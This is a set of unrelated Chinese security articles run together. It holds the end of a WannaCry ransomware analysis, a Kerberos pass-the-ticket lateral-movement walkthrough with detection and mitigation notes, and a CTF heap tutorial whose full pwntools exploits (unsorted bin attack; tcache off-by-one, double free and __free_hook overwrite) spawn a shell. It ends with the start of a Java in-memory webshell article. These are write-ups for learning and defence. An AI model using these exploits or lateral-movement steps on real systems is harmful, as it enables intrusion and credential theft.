3.收到新的比特币钱包地址后，样本会判断是否在30-50的长度之间。
`图 4
判断比特币钱包地址长度`
4.当用户根据唯一的比特币钱包地址付款后，点击“Check
Payment”后，攻击者确认后，会将本地的“00000000.res”和“00000000.eky”回传到服务器，将“00000000.eky”文件解密后返回给目标主机。
`图 5
回传“00000000.res”和“00000000.eky”`
5.样本遍历磁盘文件，排除设置好的自身文件和系统目录文件，使用收到的.dky密钥解密后缀为.WNCYR或.WNCRY的文件。
`图 6
解密被加密的文件`
### 小结
通过上述的分析可以确定，在勒索模块的样本的代码设计和逻辑中，攻击者也能够通过为每一个感染用户配置比特币钱包地址方式识别付款用户。因此从相关分析来看，WannaCry勒索者蠕虫的勒索业务可能是闭环化的。尽管安天对WannaCry勒索者蠕虫的传播动机存在着极大的多种猜测和怀疑，但如果从错误的分析来形成结论，认为其不是以勒索金钱为目的，则还言之过早。
到目前为止，尚未有用户支付后解密成功的消息被验证，因此用户支付后，依然有很大的数据和金钱双双受损的局面。在被勒索者蠕虫感染后，用户应迅速判断被加密数据的价值和重要性，如果有重要数据，应将硬盘在离线后，摘下保存，并进行数据备份。对包括已经加密的数据也需要备份，因为随着时间发展，会出现案件被侦破，或其他的秘钥流出的情况，使数据可以解密。同时可以尝试寻找专业数据恢复机构或采用专业数据恢复工具，尝试恢复被敲诈者删除的数据。这一方法对包括魔窟在内的部分勒索者病毒，依然有效。
作为安全厂商，安天强烈建议每一个受害者都拒绝支付赎金， “对敲诈者的妥协，就是对犯罪的鼓励！”。面对网络勒索，不妥协应该成为一种社会原则和共识。
### 附录一：参考资料
[1]
[《2016年网络安全威胁的回顾与展望》](http://www.antiy.com/response/2016_Antiy_Annual_Security_Report.html)
[2]
[《安天应对勒索软件“WannaCry”防护手册》](http://www.antiy.com/response/Antiy_WannaCry_Protection_Manual/Antiy_WannaCry_Protection_Manual.html)
[3] [《安天应对勒索者蠕虫病毒WannaCry
FAQ》](http://www.antiy.com/response/Antiy_WannaCry_FAQ.html)
[4] [蠕虫病毒WannaCry免疫工具和扫描工具下载地址](http://www.antiy.com/tools.html)
[5] [《安天应对勒索者蠕虫病毒WannaCry
FAQ2》](http://www.antiy.com/response/Antiy_Wannacry_FAQ2.html)
[6]
[《安天应对勒索软件“WannaCry”开机指南》](http://www.antiy.com/response/Antiy_Wannacry_Guide.html)
[7] [揭开勒索软件的真面目](http://www.antiy.com/response/ransomware.html)
[8] [《"攻击WPS样本"实为敲诈者》](http://www.antiy.com/response/CTB-Locker.html)
[9] [邮件发送js脚本传播敲诈者木马的分析报告](http://www.antiy.com/response/TeslaCrypt2.html)
[10] [首例具有中文提示的比特币勒索软件"LOCKY"](http://www.antiy.com/response/locky/locky.html)
[11]
[勒索软件家族TeslaCrypt最新变种技术特点分析](http://www.antiy.com/response/TeslaCrypt%204/TeslaCrypt%204.html)
[12] 《中国信息安全》杂志2017年第4期
* * * | 社区文章 |
### 0x01 前言
Kerberos 已经存在很长时间了，它一直是 Windows Active Directory 默认的身份验证协议。
攻击者滥用 Kerberos 协议已有一段时间，但这并不能说明 Kerberos 是不安全的。看看它的设计方式：
在我们深入探讨攻击者如何滥用 Kerberos 协议之前。首先让我们了解 Kerberos 是什么及其工作原理有一个基本的了解。
首先，Kerberos 已经存在很长时间了，它一直是 Windows Active Directory 默认的身份认证协议，由 MIT
于1980年开发。该协议的宗旨是确保对客户端的安全身份验证，因此它可以向服务器证明其身份（反之亦然），而无需通过不安全的网络链接发送未加密的认证信息。但是它并不验证客户端用户可以访问哪些资源或服务，换句话说，Kerberos
提供有关每个用户特权的信息，但是确定每个用户是否有权访问其资源是每个服务的责任。
Kerberos 被广泛应用的原因之一是因为它包含单点登陆（SSO）功能。Kerberos 使用 “票据”
保留身份验证，因此在用户进行一次身份验证之后，他们不需要再次输入凭证即可访问网络上的资源（SQL 数据库或文件共享）。
所有 Kerberos 票据都存储在 LSASS 进程内存中。
### 0x01 Windows 域中的 Kerberos
当用户每次想要进行身份验证时，需要向客户端计算机提供一个凭证，以证明用户的身份。可以通过输入密码或其他身份验证方法（如智能卡）来完成。
用户提供凭证后，计算机上的 Kerberos
客户端会将其文本转换为加密密钥，并通过“单向”哈希函数传递。用户的加密密钥派生自用户登陆密码哈希，该密码主要被称为用户的 NT(LM)
哈希。有时也会称为用户的主密钥。
注意：用户登陆密码哈希不仅是 NT(LM) 哈希，而且还包括 AES128 和 AES256 密钥。在此示例中，我们主要使用 NT(LM)
哈希作为主要示例，因此它是最著名的一个。
单向哈希是一种将消息或文本转换为随机值的算法。“单向”意味着很难将哈希转换回原始的纯文本格式。
这是一个示例，当我们将明文转换为 NT(LM) 哈希时：
但是，NT(LM) 哈希仍然有可能被通过暴力破解获得明文。
用户登录后，其凭证已转换为加密密钥，并通过单向哈希函数传递。它将使用加密密钥来加密当前时间戳，并将其作为身份验证服务请求发送到密钥分发中心（KDC）。
然后，KDC 将通过解密用户的 NT(LM) 哈希来验证用户的凭据，并验证它是否也可以验证时间戳。时间戳证明了该消息是刚生成的。
KDC 现在将执行身份验证服务回复，这意味着它将创建登陆会话密钥和 TGT。登陆会话密钥的副本与 TGT一起附加，并且 TGT使用
KDC的主密钥加密，该主密钥是从其 NT(LM) 哈希派生而来的。
Krbtgt 是安全主体，它充当 Active Directory 中的密钥分发中心（KDC）的服务账号。
因此，我们知道登陆会话密钥的副本已附加到 TGT，但还需要制作另一个副本，即复制登陆会话密钥本身，并使用用户的 NT(LM) 哈希对其进行加密。
这意味着 KDC将向用户发送带有加密登陆会话密钥的 TGT，如我们在此处看到的。这是来自用户 Carol 的TGT的示例。它已使用充当 KDC 的
Krbtgt 安全主题进行了加密，并且会话密钥已附加到 TGT。用户的NT(LM) 哈希用于解密从 KDC 接收的会话密钥。
会话密钥即形成加密密钥，又形成解密密钥，该密钥是随机生成的，以确保用户和计算机之间的通信是安全的。
现在，我们已经或得了 TGT。它是一个小型加密文件，其中包含 KDC 办法的用户身份验证令牌。此
TGT等效于用户的凭证。TGT允许客户端计算机代表用户（此示例中的 Carol）执行操作。TGT本地存储在客户端计算机上，以避免用户多次输入凭证。
使用 TGT，用户可以请求访问网络上的特定资源。这需要用户向 KDC 提交 TGT，以获得其要访问的资源的服务票据（ST）。然后使用相关服务账号的
NT(LM) 哈希对服务票据进行加密。NT(LM) 哈希对于域控制器和服务都是已知的，因此该服务能够解密服务票据，验证 PAC
并确定应授予该服务身份访问权限。这可以说配置为服务账号的用户账号，也可以只是常规计算机账户本身。
每个服务票据都有一个扩展名，称为 PAC。特权属性证书（PAC）是包含用户授权数据的一条数据。你可以考虑已分配的组成员身份和用户权限。
#### 1.1、服务主体名称（SPN）
服务主体名称（SPN）是 Kerberos 的概念。它是Active Directory 中特定主机提供的特定服务的标识符。
对于大多数管理员来说，这是非常令人困惑的事情，但是让我们深入研究几个示例，可以更好的理解。
让我们从 `TERMSRV/EXCHANGE002.IDENTITY.local` 开始-这是与 `EXCHANGE002` 服务器关联的
SPN。`TERMSRV` 是用于远程桌面服务的服务。
如果用户要在 `EXCHANGE002` 服务器上使用此 RDP 服务。首先需要向 KDC 提供 TGT，以获取 `TERMSRV`
服务的服务票据。然后，使用相关的计算机账号 NT(LM) 哈希对该服务票据进行加密，如果可以验证 PAC，它将解密该服务票据。
假设我们确实具有访问权限，并且可以将 RDP 放入 `EXCHANGE002` 服务器。
现在来看一下 `EXCHANGE002` 服务器的内存。我们可以看到为 `TEEMSRV` 服务提供的 Carol 用户的附图票据。
#### 1.2、MSSQLSvc
`MSSQLSvc` 是位于 AADCconnect 服务器上的 Microsoft SQL Server 中的服务。如你所见，它具有一个与其关联的
SPN，即 **MSSQLSvc/AADConnect.IDENTITY.local**
如果你是 DBA 用户权限或曾经是DBA 用户权限，你可能熟悉 SQL Server Management Studio（SSMS）GUI，该 GUI
提供了所有 SQL 数据库的界面。
此 GUI 可以安装在本地操作机上，以便直接连接到 SQL 数据库，而无需在服务器本身（在我们的示例中为 ADDConnect
服务器）上具有本地管理员访问权限。
数据相关信息后，点击 `Connect` ，完成连接。
如图所示，在后台，我们知识请求了 ADDConnect 的 `MSSQLSvc` 服务的服务票据。它存储在本地计算机上。我们做的和上一示例完全一样。我们将
TGT交给了 KDC，以获取 `MSSQLSvc` 的服务票据。我们将其呈现给 ADDConnect 服务器，使用相关联的计算机账号 NT(LM)
哈希对服务票据进行解密，并且验证 PAC。如果可以确定我们具有访问权限，则授予访问权限。
#### 1.3、CIFS
Common Internet File System (CIFS) 是一种网络文件系统协议，用于在网络上的计算机之间提供对文件和打印机的共享访问。
这就是当我们访问远程服务器上的文件共享时的样子。我们可能会输入 `\\FILESERVER\Fileshare` 之类的 UNC 路径。
与上述两个示例相同。我们将 TGT 提交给 KDC，以获取 `FILESERVER` 上 CIFS 服务的 ST，我们将其提供给
FILESERVER，并且关联的计算机账号可以验证 PAC 时将解密服务票据。
### 0x02 攻击时间表
#### 2.1、 **[Credential Dumping –
T1003](https://attack.mitre.org/techniques/T1003/)**
每次用户登陆到计算机时，Kerberos TGT 本地存储在计算机上，以为用户提供单点登陆（SSO）。
在计算机上具有管理员权限的攻击者能够提取所有的 Kerberos TGT，并使用它在网络中不同的计算机之间横向移动。在下面的示例中，攻击者获取了 Carol
的计算机权限，并存储所有的 Kerberos TGT。
导出所有 Kerberos TGT 之后，可以看到 Alice 最近登陆到了 Carol 的计算机中。
随着提取了 Alice 的 TGT。攻击者可以使用此 TGT 代表 Alice 用户进行操作并代表她访问资源。
#### 2.2、[ **Pass-the-Ticket** **–
T1097**](https://attack.mitre.org/techniques/T1097/)
票据传递(PtT) 是一种使用 Kerberos 票据对系统进行身份验证的方法，而不需访问账号密码。Kerberos
身份认证可以用作横向移动到远程计算机的第一部。现在，我们将执行 "Pass-the-Ticket" 攻击来访问 Alice
的账号，这使我们能够代表她访问资源。
看来 Alice 可以访问 FILESERVER 了。对于我们来说，这可能是一个相对有兴趣的目标。
现在我们需要横向移动到 **FILESERVER** 。
现在，我们已经在 **FILESERVER** 上建立了立足点。
#### 2.3、 **[Credential Dumping –
T1003](https://attack.mitre.org/techniques/T1003/)**
由于我们现在已经获得了 **FILESERVER** 的权限。我们也可以将该服务器上的所有 Kerberos TGT都转储。
看来我们的 Bob 用户最近已登录此服务器，这意味着我们现在可以访问 Bob的帐户。
#### 2.4、[ **Pass-the-Ticket** **–
T1097**](https://attack.mitre.org/techniques/T1097/)
在获取 Bob 的TGT 之后。现在，我们就可以做像之前一样的操作。
Bob 似乎是 Domain Admin 或同等权限的账户，因为它可以访问Domain Controller。
这意味着我们现在可以以Bob 用户的身份横向移动至域控制器，也代表这我们可以横向整个域网络。
### 0x03 Detection
大对数的 EDR 或 SIEM 解决方案对于 `Pass-the-Ticket` 攻击的检测都是一项大课题，但是如果你拥有 Microsoft
Defender ATP ，MDATP 会收到警报。
### 0x04 缓解措施
在我以前的文章中，[“哈希传递”仍然是一种威胁](https://windowssecurity.ca/2020/03/09/pass-the-hash-is-still-a-threat/)。我已经在博客中介绍了如何使用
Microsoft管理层模型减轻这种攻击。哈希传递和票证都是相似的技术，经常被用于攻击公司网络。
我建议你查阅我以前的博客文章，该文章有关如何在网络中实现此安全体系结构。
#### 误区解释
1、哈希传递和票据传递大多数人都有误解的技术。首先，Mimikatz 并不是 PtH 和 PtT 唯一的工具，其他工具也可以。一个典型的例子就是
Windows Credential Editor。
2、Credential Guard 无法阻止此攻击。当然，Credential Guard 可以增加攻击成本。但要注意的是，具有管理员权限的用户可以绕过
Credential Guard。
3、PtH和 PtT都是无法通过推出安全补丁来解决的技术。
哈希传递和票据传递被称为操作漏洞。这意味着，这取决于管理员如何设置环境。域管理员在哪里登录？它应该仅是域控制器，也可能是其他第0层资产。但在大多数情况下，DA
从工作站到服务器无处不在，他们的凭据分布在整个网络中，这也解释了为什么攻击者很容易获得Domain Admin凭据。
我还想提一点，人们经常忘记 Active Directory中的单点登录（SSO）功能。凭据需要缓存在内存中，以便为用户提供
SSO体验。用户通过身份验证后。它可以使用一组凭据来访问网络上的资源，而无需再次提示输入密码。最终用户喜欢这个，您也可能喜欢。
### 0x05 Reference
[Microsoft Administrative Tier Model](https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN#ADATM_BM)
[Microsoft Defender Advanced Threat Protection](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/microsoft-defender-advanced-threat-protection)
[Ticket-Granting-Tickets](https://docs.microsoft.com/en-us/windows/win32/secauthn/ticket-granting-tickets)
[Ticket-Granting Service Exchange](https://docs.microsoft.com/en-us/windows/win32/secauthn/ticket-granting-service-exchange)
原文：<https://windowssecurity.ca/2020/03/15/how-attackers-are-moving-laterally-via-kerberos/> | 社区文章 |
# pwn堆入门系列教程7
[pwn堆入门系列教程1](https://xz.aliyun.com/t/6087)
[pwn堆入门系列教程2](https://xz.aliyun.com/t/6169)
[pwn堆入门系列教程3](https://xz.aliyun.com/t/6252)
[pwn堆入门系列教程4](https://xz.aliyun.com/t/6322)
[pwn堆入门系列教程5](https://xz.aliyun.com/t/6377)
[pwn堆入门系列教程6](https://xz.aliyun.com/t/6406)
先学习 Unsorted Bin Attack，这部分由于ctf-wiki题目较少，所以只练习了一道题
Large bin也没有题目，到时候遇到在进行学习
## hitcontraining_lab14
这个题过程也比较简单，自己复现下就好
### 漏洞利用过程
因为现在都是tcache了，所以复现起来还是得拿老版本libc测试
这里可以看出bk已经被修改
gdb-peda$ x/50gx 0x9ce0d0-0xd0
0x9ce000: 0x0000000000000000 0x0000000000000031
0x9ce010: 0x6161616161616161 0x6161616161616161
0x9ce020: 0x6161616161616161 0x6161616161616161
0x9ce030: 0x0000000000000000 0x0000000000000091
0x9ce040: 0x0000000a61646164 0x00000000006020b0
0x9ce050: 0x0000000000000000 0x0000000000000000
0x9ce060: 0x0000000000000000 0x0000000000000000
0x9ce070: 0x0000000000000000 0x0000000000000000
0x9ce080: 0x0000000000000000 0x0000000000000000
0x9ce090: 0x0000000000000000 0x0000000000000000
0x9ce0a0: 0x0000000000000000 0x0000000000000000
0x9ce0b0: 0x0000000000000000 0x0000000000000000
0x9ce0c0: 0x0000000000000090 0x0000000000000031
0x9ce0d0: 0x0000000a33333333 0x0000000000000000
0x9ce0e0: 0x0000000000000000 0x0000000000000000
0x9ce0f0: 0x0000000000000000 0x0000000000020f11
0x9ce100: 0x0000000000000000 0x0000000000000000
0x9ce110: 0x0000000000000000 0x0000000000000000
0x9ce120: 0x0000000000000000 0x0000000000000000
0x9ce130: 0x0000000000000000 0x0000000000000000
0x9ce140: 0x0000000000000000 0x0000000000000000
0x9ce150: 0x0000000000000000 0x0000000000000000
0x9ce160: 0x0000000000000000 0x0000000000000000
0x9ce170: 0x0000000000000000 0x0000000000000000
0x9ce180: 0x0000000000000000 0x0000000000000000
这里可以看到magic被修改了
gdb-peda$ x/20gx 0x00000000006020b0+0x10
0x6020c0 <magic>: 0x00007ff41afe4b78 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray>: 0x00000000009ce010 0x00000000009ce040
0x6020f0 <heaparray+16>: 0x00000000009ce0d0 0x0000000000000000
0x602100 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x602110 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x602120 <heaparray+64>: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
拿到flag了
[DEBUG] Received 0x1a bytes:
'flag{unsorted_bin_attack}\n'
flag{unsorted_bin_attack}
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'magicheap'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'magicheap'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
def create_heap(size, content):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def edit_heap(idx, size, content):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def del_heap(idx):
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))
def exp():
create_heap(0x20, "1111") # 0
create_heap(0x80, "2222") # 1
# in order not to merge into top chunk
create_heap(0x20, "3333") # 2
del_heap(1)
magic = 0x00000000006020C0
fd = 0
bk = magic - 0x10
edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, "dada") #trigger unsorted bin attack
gdb.attach(io)
io.recvuntil(":")
io.sendline("4869")
io.interactive()
if __name__ == '__main__':
exp()
io.interactive()
unsortbin attack通常用于修改循环次数以及global_max_fast从而任意大小chunk可以fastbin attack
然后开始学习tcache
## LCTF2018 PWN easy_heap
我感觉这道题质量挺高的，对于我这个新手来说，他用了挺多内存分配的知识，让我好好补了一波，这道题功能分析以及漏洞点分析请看ctf-wiki tcache篇
我直接讲解漏洞利用过程
### 漏洞利用过程
这道题麻烦就麻烦在没法直接溢出覆盖pre_size，所以要巧妙的构造pre_size，最终在overlap，后面的就是常规操作了
具体过程是跟ctf-wiki一样
具体过程：
1. 将 A -> B -> C 三块 unsorted bin chunk 依次进行释放
2. A 和 B 合并，此时 C 前的 prev_size 写入为 0x200
3. A 、 B 、 C 合并，步骤 2 中写入的 0x200 依然保持
4. 利用 unsorted bin 切分，分配出 A
5. 利用 unsorted bin 切分，分配出 B，注意此时不要覆盖到之前的 0x200
6. 将 A 再次释放为 unsorted bin 的堆块，使得 fd 和 bk 为有效链表指针
7. 此时 C 前的 prev_size 依然为 0x200（未使用到的值），A B C 的情况： A (free) -> B (allocated) -> C (free)，如果使得 B 进行溢出，则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。
8. tips: 但是在这个过程中需要注意 tcache 的影响。
#### 堆初始化操作部分
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = process('./easy_heap')
libc = ELF('/home/NoOne/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
context.log_level = 'debug'
def choice(idx):
io.sendlineafter("> ", str(idx))
def malloc(size, content):
choice(1)
io.sendlineafter("> ", str(size))
io.sendlineafter("> ", content)
def free(idx):
choice(2)
io.sendlineafter("> ", str(idx))
def puts(idx):
choice(3)
io.sendlineafter("> ", str(idx))
def exit():
choice(4)
#### 堆块重新排列
for i in range(7):
malloc(0x10, str(i)*0x7)
for i in range(3):
malloc(0x10, str(i+7)*0x7)
for i in range(6):
free(i)
free(9) #tcache for avoid top chunk consolidate
for i in range(6, 9):
free(i)
# now the heap
# tcache-0
# tcache-1
# tcache-2
# tcache-3
# tcache-4
# tcache-5
# unsorted - 6
# unsorted - 7
# unsorted - 8
# tcache-9
for i in range(7):
malloc(0x10, str(i)*0x7)
for i in range(3):
malloc(0x10, str(i+7)*0x7)
# now the heap
# chunk-6
# chunk-5
# chunk-4
# chunk-3
# chunk-2
# chunk-1
# chunk - 7
# chunk - 8
# chunk - 9
# chunk-0
#### off-by-one覆盖造成overlap
for i in range(6):
free(i)
free(8)
free(7)
# now chunk -9's pre_size is 0x200
malloc(0xf8, str(8)*0x7) #off-by-one change chunk9's insue
free(6) # free into tcache, so we can use unsortbin consolidate
free(9) # unsortbin consolidate
# now the heap
# chunk-6 tcache
# chunk-5 tcache
# chunk-4 tcache
# chunk-3 tcache
# chunk-2 tcache
# chunk-1 tcache
# chunk - 7 unsorted 7-9 consolidate, and 8 in the big free_chunk
# chunk - 8 use this is the overlap
# chunk - 9 unsorted
# chunk-0 tcache
这里需要注意的是，off-by-one这里要覆盖到inuse的话，是得申请0xf8大小，malloc(0xf8)后，
1. 它会重用下个堆快的pre_size作为数据块
2. 所以我们off-by-one才能覆盖到insue位
他会在ptr[0xf8]=0;这里就将size处的insue变成0
然后此时tcache还没满，所以free(6)让tcache填满后，才能用触发unsortbin合并
#### 申请0xf8,让剩余的unsortbin对齐到第0块chunk
# now the heap
# chunk-6 tcache
# chunk-5 tcache
# chunk-4 tcache
# chunk-3 tcache
# chunk-2 tcache
# chunk-1 tcache
# chunk - 7 unsorted 7-9 consolidate, and 8 in the big free_chunk
# chunk - 8 use this is the overlap
# chunk - 9 unsorted
# chunk-0 tcache
for i in range(7):
malloc(0x10, str(i+1)*0x7)
malloc(0x10, str(0x8))
# now the heap
# chunk-1
# chunk-2
# chunk-3
# chunk-4
# chunk-5
# chunk-6
# chunk-8
# chunk-0
#
# chunk-7
puts(0)
这时候我们puts(0)就可以泄露了，
#### 后面简单的double free
libc_leak = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("libc_leak: 0x%x" % libc_leak)
libc_base = libc_leak - 0x3ebca0
malloc(0x10, str(0x9))
# now the heap
# chunk-1
# chunk-2
# chunk-3
# chunk-4
# chunk-5
# chunk-6
# chunk-8
# chunk-0 chunk-9
#
# chunk-7
free(1) #bypass the tcache count check
free(0)
free(9) #double free
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f2c5
one_gadget = libc_base + 0x4f322# 0x10a38c
malloc(0x10, p64(free_hook))
malloc(0x10, '/bin/sh;#')
malloc(0x10, p64(one_gadget))
io.success("free_hook: 0x%x" % free_hook)
#gdb.attach(io)
free(0)
这里有个注意的地方，free(1)这里看好
4194 ------------------------------ free ------------------------------ 4195 */
4196
4197 static void
4198 _int_free (mstate av, mchunkptr p, int have_lock)
4199 {
4200 INTERNAL_SIZE_T size; /* its size */
4201 mfastbinptr *fb; /* associated fastbin */
4202 mchunkptr nextchunk; /* next contiguous chunk */
4203 INTERNAL_SIZE_T nextsize; /* its size */
4204 int nextinuse; /* true if nextchunk is used */
4205 INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
4206 mchunkptr bck; /* misc temp for linking */
4207 mchunkptr fwd; /* misc temp for linking */
4208
4209 size = chunksize (p);
4210
4211 /* Little security check which won't hurt performance: the
4212 allocator never wrapps around at the end of the address space.
4213 Therefore we can exclude some size values which might appear
4214 here by accident or by "design" from some intruder. */
4215 if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
4216 || __builtin_expect (misaligned_chunk (p), 0))
4217 malloc_printerr ("free(): invalid pointer");
4218 /* We know that each chunk is at least MINSIZE bytes in size or a
4219 multiple of MALLOC_ALIGNMENT. */
4220 if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
4221 malloc_printerr ("free(): invalid size");
4222
4223 check_inuse_chunk(av, p);
4224
4225 #if USE_TCACHE
4226 {
4227 size_t tc_idx = csize2tidx (size);
4228
4229 /* Check to see if it's already in the tcache. */
4230 tcache_entry *e = (tcache_entry *) chunk2mem (p);
4231
4232 /* This test succeeds on double free. However, we don't 100%
4233 trust it (it also matches random payload data at a 1 in
4234 2^<size_t> chance), so verify it's not an unlikely coincidence
4235 before aborting. */
4236 if (__glibc_unlikely (e->key == tcache && tcache))
4237 {
4238 tcache_entry *tmp;
4239 LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
4240 for (tmp = tcache->entries[tc_idx];
4241 tmp;
4242 tmp = tmp->next)
4243 if (tmp == e)
4244 malloc_printerr ("free(): double free detected in tcache 2");
4245 /* If we get here, it was a coincidence. We've wasted a few
4246 cycles, but don't abort. */
4247 }
4248
4249 if (tcache
4250 && tc_idx < mp_.tcache_bins
4251 && tcache->counts[tc_idx] < mp_.tcache_count)
4252 {
4253 tcache_put (p, tc_idx);
4254 return;
4255 }
4256 }
4257 #endif
源码在最后一部分检查了tcache的数量，所以free的时候得使tcache的数量对的上。
说多了都是泪，简单题做着不简单，花了好长时间
### exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = process('./easy_heap')
libc = ELF('/home/NoOne/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
context.log_level = 'debug'
def choice(idx):
io.sendlineafter("> ", str(idx))
def malloc(size, content):
choice(1)
io.sendlineafter("> ", str(size))
io.sendlineafter("> ", content)
def free(idx):
choice(2)
io.sendlineafter("> ", str(idx))
def puts(idx):
choice(3)
io.sendlineafter("> ", str(idx))
def exit():
choice(4)
#功能性测试
def test():
malloc(0x20, 'a'*0x20)
puts(0)
free(0)
exit()
def exp():
for i in range(7):
malloc(0x10, str(i)*0x7)
for i in range(3):
malloc(0x10, str(i+7)*0x7)
for i in range(6):
free(i)
free(9) #tcache for avoid top chunk consolidate
for i in range(6, 9):
free(i)
# now the heap
# tcache-0
# tcache-1
# tcache-2
# tcache-3
# tcache-4
# tcache-5
# unsorted - 6
# unsorted - 7
# unsorted - 8
# tcache-9
for i in range(7):
malloc(0x10, str(i)*0x7)
for i in range(3):
malloc(0x10, str(i+7)*0x7)
# now the heap
# chunk-6
# chunk-5
# chunk-4
# chunk-3
# chunk-2
# chunk-1
# chunk - 7
# chunk - 8
# chunk - 9
# chunk-0
for i in range(6):
free(i)
free(8)
free(7)
# now chunk -9's pre_size is 0x200
malloc(0xf8, str(8)*0x7) #off-by-one change chunk9's insue
free(6) # free into tcache, so we can use unsortbin consolidate
free(9) # unsortbin consolidate
# now the heap
# chunk-6 tcache
# chunk-5 tcache
# chunk-4 tcache
# chunk-3 tcache
# chunk-2 tcache
# chunk-1 tcache
# chunk - 7 unsorted 7-9 consolidate, and 8 in the big free_chunk
# chunk - 8 use this is the overlap
# chunk - 9 unsorted
# chunk-0 tcache
for i in range(7):
malloc(0x10, str(i+1)*0x7)
malloc(0x10, str(0x8))
# now the heap
# chunk-1
# chunk-2
# chunk-3
# chunk-4
# chunk-5
# chunk-6
# chunk-8
# chunk-0
#
# chunk-7
puts(0)
libc_leak = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("libc_leak: 0x%x" % libc_leak)
libc_base = libc_leak - 0x3ebca0
malloc(0x10, str(0x9))
# now the heap
# chunk-1
# chunk-2
# chunk-3
# chunk-4
# chunk-5
# chunk-6
# chunk-8
# chunk-0 chunk-9
#
# chunk-7
free(1) #bypass the tcache count check
free(0)
free(9) #double free
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f2c5
one_gadget = libc_base + 0x4f322# 0x10a38c
malloc(0x10, p64(free_hook))
malloc(0x10, '/bin/sh;#')
malloc(0x10, p64(one_gadget))
io.success("free_hook: 0x%x" % free_hook)
#gdb.attach(io)
free(0)
if __name__ == '__main__':
exp()
io.interactive()
## 小知识点
vmmap 这个命令可以指定具体想要查看的内容，比如
1. vmmap libc
2. vmmap heap
3. vmmap stack
4. vmmap map
tcache是FILO,跟栈是类似的
patchelf 可以指定版本libc, 这样可以调试带符号的libc，加上glibc-all-in-one这个项目或者自己去下载glibc就可以用pwndbg的那些heap bins等命令了
具体如下：
patchelf --set-interpreter libc目录/ld-2.27.so --set-rpath libc目录 文件名
## 总结
1. 加入tcache后攻击方法变得相对简单，堆块的申请却变得复杂了，因为在leak的时候要考虑tcache，以及构造的时候也要考虑tcache
2. 我觉得不需要跟我一样标注出每个堆块的位置，我只是学习tcache，所以标注出来方便自己看
3. 堆块重用这部分经常都是跟off-by-one结合起来
## 参考链接
[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/#challenge-1-lctf2018-pwn-easy_heap) | 社区文章 |
# Java内存马攻防实战——攻击基础篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在红蓝对抗中，攻击方广泛应用webshell等技术在防守方提供的服务中植入后门，防守方也发展出各种技术来应对攻击，传统的落地型webshell很容易被攻击方检测和绞杀。而内存马技术则是通过在运行的服务中直接插入运行攻击者的webshell逻辑，利用中间件的进程执行某些恶意代码，而不依赖实体文件的存在实现的服务后门，因此具有更好的隐蔽性，也更容易躲避传统安全监测设备的检测。
本文以Java语言为基础讨论内存马技术的攻防，分为两个篇章，分别是攻击基础篇和防护应用篇。本篇攻击基础篇介绍了Java
Servlet技术前置知识，并重点讨论了Java内存马的注入点和注入方式。下一篇文章将会针对这些注入方式的拦截防御手段展开讨论，进一步探索Java内存马的攻防实战。
## JAVA Servlet技术前置知识
### Servlet/Filter/Listener JAVA WEB三大件
**1\. Servlet**
Servlet 是服务端的 Java 应用程序，用于处理HTTP请求，做出相应的响应。
**2\. Filter**
Filter 是介于 Web 容器和 Servlet 之间的过滤器，用于过滤未到达 Servlet 的请求或者由 Servlet
生成但还未返回响应。客户端请求从 Web 容器到达 Servlet 之前，会先经过 Filter，由 Filter 对 request
的某些信息进行处理之后交给 Servlet。同样，响应从 Servlet 传回 Web 容器之前，也会被 Filter 拦截，由 Filter 对
response 进行处理之后再交给 Web 容器。
**3\. Listener**
Listener
是用于监听某些特定动作的监听器。当特定动作发生时，监听该动作的监听器就会自动调用对应的方法。下面是一个HttpSession的Listener示意图。
该 Listener 监听 session 的两种状态，即创建和销毁。当 session 被创建时，会自动调用 HttpSessionListener 的
sessionCreated() 方法，我们可以在该方法中添加一些处理逻辑。当 session 被销毁时，则会调用 sessionDestroyed()
方法。
当我们在请求一个实现servlet-api规范的java web应用时，程序先自动执行 listener 监听器的内容，再去执行 filter
